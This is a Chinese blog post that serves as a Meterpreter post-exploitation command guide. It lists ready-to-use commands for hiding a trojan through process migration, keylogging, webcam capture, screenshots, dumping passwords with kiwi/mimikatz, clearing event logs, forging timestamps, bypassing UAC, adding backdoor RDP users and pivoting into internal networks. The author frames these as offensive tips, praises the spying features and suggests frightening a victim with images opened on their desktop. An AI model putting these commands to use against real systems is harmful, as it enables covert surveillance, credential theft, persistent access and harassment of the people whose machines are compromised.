【内网安全】——meterpreter使用攻略

作者名:白昼安全
主页面链接: 主页传送门
创作初心: 一切为了她
座右铭: 不要让时代的悲哀成为你的悲哀
专研方向: web安全,后渗透技术
每日emo: 再给我一年,好吗?

Metasploit中的Meterpreter模块在后渗透阶段具有强大的攻击力,本文主要整理了meterpreter的常用命令、脚本及使用方式。包含信息收集、提权、注册表操作、令牌操纵、哈希利用、后门植入等。

一、系统命令

1、基本系统命令

sessions  # 列出后台所有的会话
sessions –h 查看帮助
sessions -i <ID值>  #进入指定会话   
sessions -k  杀死指定会话
background  #将当前会话放置后台
run  #执行已有的模块,输入run后按两下tab,列出已有的脚本
info #查看已有模块信息
getuid # 查看权限 
getpid # 获取当前进程的pid
sysinfo # 查看目标机系统信息
ps # 查看当前活跃进程    kill <PID值> 杀死进程
idletime #查看目标机闲置时间
reboot(linux) / shutdown(windows)   #重启/关机
shell #进入目标机cmd shell

这些命令主要用于才拿到权限时,相当于对当前机器进行一个简单初步的信息收集,其中比较重要的就是ps命令,可以查看到当前的活跃进程,如下

方便我们选择一个进程进行注入,让我们的木马更隐蔽

2、uictl开关键盘/鼠标

uictl [enable/disable] [keyboard/mouse/all]  #开启或禁止键盘/鼠标
uictl disable mouse  #禁用鼠标
uictl disable keyboard  #禁用键盘

但是这个功能的条件很苛刻,linux我试了很多版本,例如centos,kali这些都不行,而且我的三台win10都不行,提示需要win32版本的系统

我认为可能只有win32版本的系统才支持这个功能,我电脑上并没有win32版本的虚拟机,欢迎有条件的兄弟们下去试试,如果能把结果告诉我就更好了哈哈

3、webcam摄像头命令

webcam_list  #查看是否存在摄像头
webcam_snap   #通过摄像头拍照,在kali桌面生成拍摄后的图片文件
webcam_stream   #通过摄像头开启视,在kali桌面生成html文件,文件内容为实时视频

使用的时候首先要使用webcam_list查看当前机器是否有摄像头,有摄像头才能进行拍照,视频等操作

4、execute执行文件

execute #在目标机中执行文件

例:execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互

可以去执行目标的可执行文件

注意:如果我们想实现打开目标文件上的文本文件,例如目标桌面上有一个a.txt文件,此时我们时system权限,直接在shell命令下执行a.txt会报错,因为system权限是没有会话的,需要降低为普通用户权限,再进入shell命令下执行a.txt,此时目标电脑上才会直接打开a.txt文件

5、migrate进程迁移

getpid    # 获取当前进程的pid
ps   # 查看当前活跃进程
migrate <pid值>    #将Meterpreter会话移植到指定pid值进程中,也就是进程注入
kill <pid值>   #杀死指定进程

进程注入也就是将木马绑定到进程中,此时就查不出来木马文件,而且注入之后原来的木马程序就算被删除了也没关系,只要进程还在,我们的权限就一直在,非常之好用

6、clearav清除日志

clearav  #清除windows中的应用程序日志、系统日志、安全日志

一般痕迹清理时用这个就够了,效果还可以

二、文件系统命令

1、基本文件系统命令

getwd 或者pwd # 查看当前工作目录  
ls
cd
search -f "filename"       # 搜索指定文件  -h查看帮助
cat c:\\lltest\\lltestpasswd.txt  # 查看文件内容
upload /tmp/hack.txt C:\\lltest  # 上传文件到目标机上,第一个参数是要上传的文件路径,第二个是目标
download c:\\lltest\\lltestpasswd.txt /tmp/ # 下载文件到本机上,第一个是要下载位置,第二个是存放位置
edit c:\\1.txt #编辑或创建文件  没有的话,会新建文件
rm C:\\lltest\\hack.txt  #删除指定文件
mkdir lltest2  #只能在当前目录下创建文件夹
rmdir lltest2  #只能删除当前目录下文件夹
getlwd   或者 lpwd   #操作攻击者主机 查看当前目录
lcd /tmp   #操作攻击者主机 切换目录位置

这个一种比较帅的方法是上传一些美好(kongbu)的图片用upload传到它的桌面,在进入shell权限下给他打开,就能实现控制它电脑打开美好(kongbu)的图片,给他个惊喜

2、timestomp伪造时间戳

timestomp C:// -h   #查看帮助
timestomp -v C://2.txt   #查看时间戳
timestomp C://2.txt -f C://1.txt #将1.txt的时间戳复制给2.txt
时间戳是自 1970 年 1 月 1 日(00:00:00 )至当前时间的总秒数。它也被称为 Unix 时间戳(Unix Timestamp),Unix时间戳不仅被使用在Unix系统、类Unix系统中(比如 Linux系统),也在许多其他 操作系统中被广泛采用。

主要是可以查一手文件的创建或者说修改时间

三、网络命令

1、基本网络命令

ipconfig(windows)/ifconfig(linux)
netstat –ano
arp
getproxy   #查看代理信息
route   #查看路由

这些命令基本是做内网渗透的时候用的比较多,一般是进入目标机器后,探测目标所处的一个网络环境,公司,学校之类的环境

2、portfwd端口转发

portfwd add -l 6666 -p 3389 -r 127.0.0.1 #将目标机的3389端口转发到本地6666端口

这样就安全多了,不会出现传输过程中造成的安全隐患

还有一种想法就是各种外连,比如ssh,ftp之类的,例如把我们已经控制好的linux的22端口转发到本地的6666端口,再使用linux的远程连接工具rdesktop连接本地的6666端口就可以把实现远程登录

3、autoroute添加路由

run autoroute –h #查看帮助
run autoroute -s 192.168.159.0/24  #添加到目标环境网络
run autoroute –p  #查看添加的路由

路由信息设置一般配合着msf自己的代理设置模板auxiliary/server/socks_proxy,进行内网的一个攻占据点的操作,我的这篇打靶博客文章中也有用到这种手法,有兴趣的同学们可以看看,链接如下

http://t.csdn.cn/g3KV3

然后还可以利用arp_scanner、portscan等模块进行扫描

run post/windows/gather/arp_scanner RHOSTS=192.168.159.0/24
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.159.144 PORTS=3389

四、信息收集

信息收集的脚本位于:

/usr/share/metasploit-framework/modules/post/windows/gather
/usr/share/metasploit-framework/modules/post/linux/gather

信息收集的脚本较多,仅列几个常用的:

run post/windows/gather/checkvm #是否虚拟机
run post/linux/gather/checkvm #是否虚拟机
run post/windows/gather/forensics/enum_drives #查看分区
run post/windows/gather/enum_applications #获取安装软件信息
run post/windows/gather/dumplinks   #获取最近的文件操作
run post/windows/gather/enum_ie  #获取IE缓存
run post/windows/gather/enum_chrome   #获取Chrome缓存
run post/windows/gather/enum_patches  #补丁信息
run post/windows/gather/enum_domain  #查找域控

五、提权手法

1、getsystem提权

getsystem

getsystem工作原理

①getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道。

②getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接。

③Windows服务已启动,导致与命名管道建立连接。

④该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。
然后用新收集的SYSTEM模拟令牌产生cmd.exe,并且我们有一个SYSTEM特权进程。

2、bypassuac

内置多个bypassuac脚本,原理有所不同,使用方法类似,运行后返回一个新的会话,需要再次执行getsystem获取系统权限,如:

use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs
use windows/local/ask

如何使用bypassuac.rb脚本:

msf > use exploit/windows/local/bypassuac
msf > set SESSION 2
msf > run

3、内核漏洞提权

可先利用enum_patches模块 收集补丁信息,然后查找可用的exploits进行提权

meterpreter > run post/windows/gather/enum_patches  #查看补丁信息
msf > use exploit/windows/local/ms13_053_schlamperei
msf > set SESSION 2
msf > exploit

六、kiwi抓取密码

mimikatz模块用于抓取密码,但是新版本中mimikatz模块已经合并为kiwi模块;使用kiwi模块需要system权限,所以我们在使用该模块之前需要将当前MSF中的shell提升为system。

kiwi_cmd 模块可以让我们使用mimikatz的全部功能,该命令后面接 mimikatz.exe 的全部命令:

load kiwi    #help mimikatz 查看帮助

例如:kiwi_cmd sekurlsa::logonpasswords

七、远程桌面&截屏

enumdesktops  #查看可用的桌面
getdesktop    #获取当前meterpreter 关联的桌面
set_desktop   #设置meterpreter关联的桌面  -h查看帮助
screenshot  #截屏
use espia  #或者使用espia模块截屏  然后输入screengrab
run vnc  #使用vnc远程桌面连接

这个功能怎么说呢?非常帅,而且很好用

八、开启rdp&添加用户

1、getgui命令

run getgui –h #查看帮助
run getgui -e #开启远程桌面
run getgui -u lltest2 -p 123456   #添加用户
run getgui -f 6661 –e   #3389端口转发到6661

getgui 这个命令我只能说捞得一,经常会报系统不推荐,但有的时候也能用,具体的使用条件我也没研究清楚,如果使用错误报错可以试试使用下面这个

run post/windows/manage/enable_rdp

getgui添加用户时,有时虽然可以成功添加用户,但是没有权限通过远程桌面登陆,也比较鸡肋

2、enable_rdp脚本

run post/windows/manage/enable_rdp  #开启远程桌面
run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 #添加用户,名为www2,密为123456
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662  #将3389端口转发到6662

这个就是上面的getgui命令的替代品,会更好用一点

脚本位于/usr/share/metasploit-framework/modules/post/windows/manage/enable_rdp.rb
通过enable_rdp.rb脚本可知:开启rdp是通过reg修改注册表;添加用户是调用cmd.exe 通过net user添加;端口转发是利用的portfwd命令

九、键盘记录

keyscan_start  #开始键盘记录
keyscan_dump   #导出记录数据
keyscan_stop #结束键盘记录

这个命令也很有意思,目前我测试了一下,win10没有问题,x64位的linux系统不支持

注意:这里的导出键盘记录,需要在结束键盘记录前使用,结束之后就无法导出键盘记录了

十、sniffer抓包

use sniffer
sniffer_interfaces   #查看网卡
sniffer_start 2   #选择网卡 开始抓包
sniffer_stats 2   #查看状态
sniffer_dump 2 /tmp/lltest.pcap  #导出pcap数据包
sniffer_stop 2   #停止抓包

猜你喜欢

转载自blog.csdn.net/qq_63844103/article/details/128815533